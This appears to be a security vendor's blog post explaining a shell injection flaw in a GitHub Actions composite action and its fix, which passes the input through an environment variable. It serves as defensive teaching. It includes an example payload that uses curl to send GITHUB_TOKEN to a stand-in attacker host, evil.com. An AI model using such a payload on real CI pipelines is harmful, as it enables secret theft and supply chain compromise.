Back to Blog
high SEVERITY6 min read

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

O
By Orbis AppSec
Published July 24, 2026Reviewed July 24, 2026

Answer Summary

This is a GitHub Actions shell injection vulnerability (CWE-78) caused by using `${{ inputs.input }}` directly in a `run:` step in a composite action YAML file. The fix replaces the dangerous interpolation with an `env:` block that assigns the input to an environment variable (`INPUT`), which is then referenced as `"$INPUT"` in the shell script—preventing attacker-controlled input from being interpreted as shell commands.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse an `env:` block to pass input as an environment variable instead of inline interpolation
riskArbitrary code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML / Bash (GitHub Actions)
root causeDirect use of `${{ inputs.input }}` in a `run:` shell step without sanitization
vulnerabilityShell injection via GitHub Actions expression interpolation

How Shell Injection via ${{ Variable Interpolation Happens in GitHub Actions and How to Fix It

Introduction

In a production repository's .github/commaSplitter/action.yaml, we discovered a high-severity shell injection vulnerability at line 19. The composite action's purpose is simple: take a comma-separated input string and split it into a JSON array. But the way it consumed user input—by directly interpolating ${{ inputs.input }} into a bash run: step—created a dangerous attack surface that could allow an attacker to execute arbitrary code on the GitHub Actions runner, steal repository secrets, and compromise the CI/CD pipeline.

The vulnerable line looked like this:

IFS=',' read -ra list_data <<< "${{ inputs.input }}"

This pattern is deceptively common in GitHub Actions workflows. Developers often assume that because the input is "just a string," it's safe to interpolate directly. But GitHub Actions expression interpolation happens before the shell script is constructed, meaning an attacker's payload becomes part of the script itself.

The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

When GitHub Actions encounters ${{ inputs.input }} in a run: step, it performs a text substitution at the YAML template level. The resulting string is then written to a temporary shell script file and executed. This means whatever value inputs.input contains becomes literal shell script text.

Here's the vulnerable code in .github/commaSplitter/action.yaml:

runs:
  using: "composite"
  steps:
    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

The Attack Scenario

Imagine this composite action is called from a workflow that processes data from a pull request or issue—perhaps splitting a comma-separated list of labels, file paths, or reviewer names. An attacker could provide an input value like:

"; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #

After GitHub Actions interpolation, the generated shell script would become:

IFS=',' read -ra list_data <<< ""; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #"

The attacker has:
1. Closed the heredoc string with "
2. Terminated the first command with ;
3. Injected an arbitrary curl command that exfiltrates the GITHUB_TOKEN
4. Commented out the rest of the line with #

Even more dangerous payloads could:
- Access all secrets available to the workflow via ${{ secrets.* }} (which are exposed as environment variables)
- Modify the repository by pushing malicious commits
- Install backdoors in build artifacts (supply chain attack)
- Pivot to other systems using stored credentials

Why This Is Particularly Dangerous

The commaSplitter action is a reusable composite action. Any workflow in the repository (or potentially in other repositories if it's a public action) that calls this action with user-influenced data becomes vulnerable. The blast radius extends beyond a single workflow file.

The Fix

The fix introduces an intermediate environment variable using the env: block, which is the GitHub-recommended pattern for handling untrusted input:

Before (vulnerable):

    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

After (fixed):

    - name: Split the input
      id: splitter
      shell: bash
      env:
        INPUT: ${{ inputs.input }}
      run: |
        IFS=',' read -ra list_data <<< "$INPUT"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

Why This Works

The critical difference is when and how the value is processed:

  1. env: block assignment: INPUT: ${{ inputs.input }} — GitHub Actions sets the environment variable INPUT to the literal string value of inputs.input. The value is stored as data, not injected into script text.

  2. Shell variable reference: "$INPUT" — When bash executes, it reads the INPUT environment variable. Because it's enclosed in double quotes, the shell treats it as a single string argument, regardless of what characters it contains. Shell metacharacters like ;, |, $(), and backticks are not interpreted.

The attacker's payload "; curl -s https://evil.com/exfil # would now simply be passed as a literal string to the read command—it would be treated as data to split on commas, not as shell commands to execute.

Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Steps with Untrusted Data

Any GitHub context that can be influenced by external users is untrusted:
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.head_ref
- inputs.* (for reusable/composite actions)
- github.event.comment.body

2. Always Use the env: Pattern

env:
  UNTRUSTED_DATA: ${{ github.event.pull_request.title }}
run: |
  echo "Processing: $UNTRUSTED_DATA"

3. Enable Static Analysis for GitHub Actions

Use tools like:
- Semgrep with the yaml.github-actions.security.run-shell-injection.run-shell-injection rule
- actionlint — a dedicated GitHub Actions linter
- CodeQL — GitHub's own code scanning with Actions-specific queries

4. Limit Permissions

Use the permissions: key to restrict GITHUB_TOKEN scope. If a workflow only needs to read code, don't grant it write access:

permissions:
  contents: read

5. Review Composite Actions Carefully

Composite actions are reused across workflows. A single vulnerability in a composite action multiplies across every caller.

Key Takeaways

  • ${{ inputs.input }} in a run: step is never safe when the input can be influenced by untrusted users—even in composite actions that seem internal.
  • The commaSplitter action's simple comma-splitting logic masked a critical injection point because developers focused on the business logic rather than the data flow.
  • Environment variables with env: blocks are the only safe way to pass GitHub context data into shell scripts in GitHub Actions.
  • Composite actions amplify risk because they're reused—fixing this one file protects every workflow that calls commaSplitter.
  • Semgrep's run-shell-injection rule reliably detects this exact pattern and should be part of every repository's CI pipeline.

How Orbis AppSec Detected This

  • Source: The inputs.input parameter of the composite action at .github/commaSplitter/action.yaml, which receives arbitrary string data from calling workflows.
  • Sink: The run: step at line 19, where ${{ inputs.input }} was directly interpolated into a bash heredoc string (<<< "${{ inputs.input }}"), allowing shell command injection.
  • Missing control: No intermediate environment variable or input sanitization was applied between the untrusted input source and the shell execution context.
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced direct ${{ inputs.input }} interpolation with an env: block (INPUT: ${{ inputs.input }}) and referenced the environment variable ("$INPUT") in the shell script.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is one of the most underappreciated security risks in modern CI/CD pipelines. The ${{ }} interpolation syntax makes it trivially easy to introduce command injection vulnerabilities that can compromise secrets, source code, and build artifacts. The fix demonstrated here—using an env: block to safely pass inputs.input as the INPUT environment variable—is simple, behavior-preserving, and eliminates the attack surface entirely. Every team using GitHub Actions should audit their workflows for this pattern today.

References

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection in GitHub Actions occurs when attacker-controlled data (from PR titles, branch names, issue bodies, or action inputs) is directly interpolated into a `run:` step using `${{ }}` expressions. The GitHub Actions runner expands these expressions before the shell executes, allowing injected shell metacharacters to execute arbitrary commands.

How do you prevent shell injection in GitHub Actions?

Use an `env:` block to assign untrusted data to an environment variable, then reference that variable in the `run:` script with proper quoting (e.g., `"$ENVVAR"`). This ensures the data is treated as a string value rather than being parsed as shell syntax.

What CWE is shell injection in GitHub Actions?

It maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection). Some classifications also reference CWE-77 (Command Injection) depending on the specific injection vector.

Is input validation enough to prevent shell injection in GitHub Actions?

Input validation alone is insufficient because GitHub Actions expression interpolation (`${{ }}`) happens at the YAML template level before the shell even runs. Even with validation logic in the script, the malicious payload has already been injected into the script text. The only reliable fix is to avoid inline interpolation entirely by using environment variables.

Can static analysis detect shell injection in GitHub Actions?

Yes. Tools like Semgrep have specific rules (e.g., `yaml.github-actions.security.run-shell-injection.run-shell-injection`) that detect when `${{ github.* }}` or `${{ inputs.* }}` expressions are used directly in `run:` steps. These rules flag the pattern for manual review or automated remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #602

Related Articles

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in the `.github/dependabot.yml` configuration file where no cooldown period was set for dependency updates. This exposed the Node.js library and its downstream consumers to potentially malicious or unstable packages immediately after publication. The fix adds a 7-day cooldown period to all package ecosystem entries, providing a critical safety buffer before accepting newly published package versions.

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration flaw was discovered in a Dependabot configuration file where no cooldown period was set for package updates. This meant newly published—and potentially malicious or unstable—package versions could be immediately proposed for updates, exposing the project to supply chain attacks. The fix adds a 7-day cooldown period to allow the community to identify compromised packages before they're adopted.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A high-severity configuration gap was discovered in a Node.js library's `.github/dependabot.yml` file where no cooldown period was set for dependency updates. Without a cooldown, Dependabot could propose updates to newly published (and potentially malicious or unstable) package versions immediately after release, exposing the project and all downstream consumers to supply chain attacks. The fix adds a `cooldown` block with `default-days: 7` to each package ecosystem entry.

high

How Missing Dependabot Cooldown Periods Happen in GitHub Dependency Management and How to Fix It

A high-severity security gap was discovered in a Dependabot configuration file that lacked a cooldown period for newly published package updates. Without this critical safeguard, the repository was vulnerable to supply chain attacks through malicious or unstable packages published to npm registries. Adding a 7-day cooldown period now provides essential protection against zero-day package compromises.

high

How missing Dependabot cooldown happens in GitHub Actions CI/CD and how to fix it

A Dependabot configuration file in a Node.js library was missing cooldown periods for both its `npm` and `github-actions` package ecosystem entries, meaning newly published (and potentially malicious) package versions could be proposed for immediate adoption. The fix adds a `cooldown` block with `default-days: 7` to each ecosystem entry, creating a critical 7-day buffer that allows the community to identify and flag compromised packages before they reach downstream consumers.

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in axios versions prior to 1.15.1 allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This meant HTTP requests intended to stay internal could be routed through an attacker-controlled proxy, potentially exposing sensitive data. The fix upgrades axios to version 1.15.1, which correctly validates URLs against NO_PROXY rules.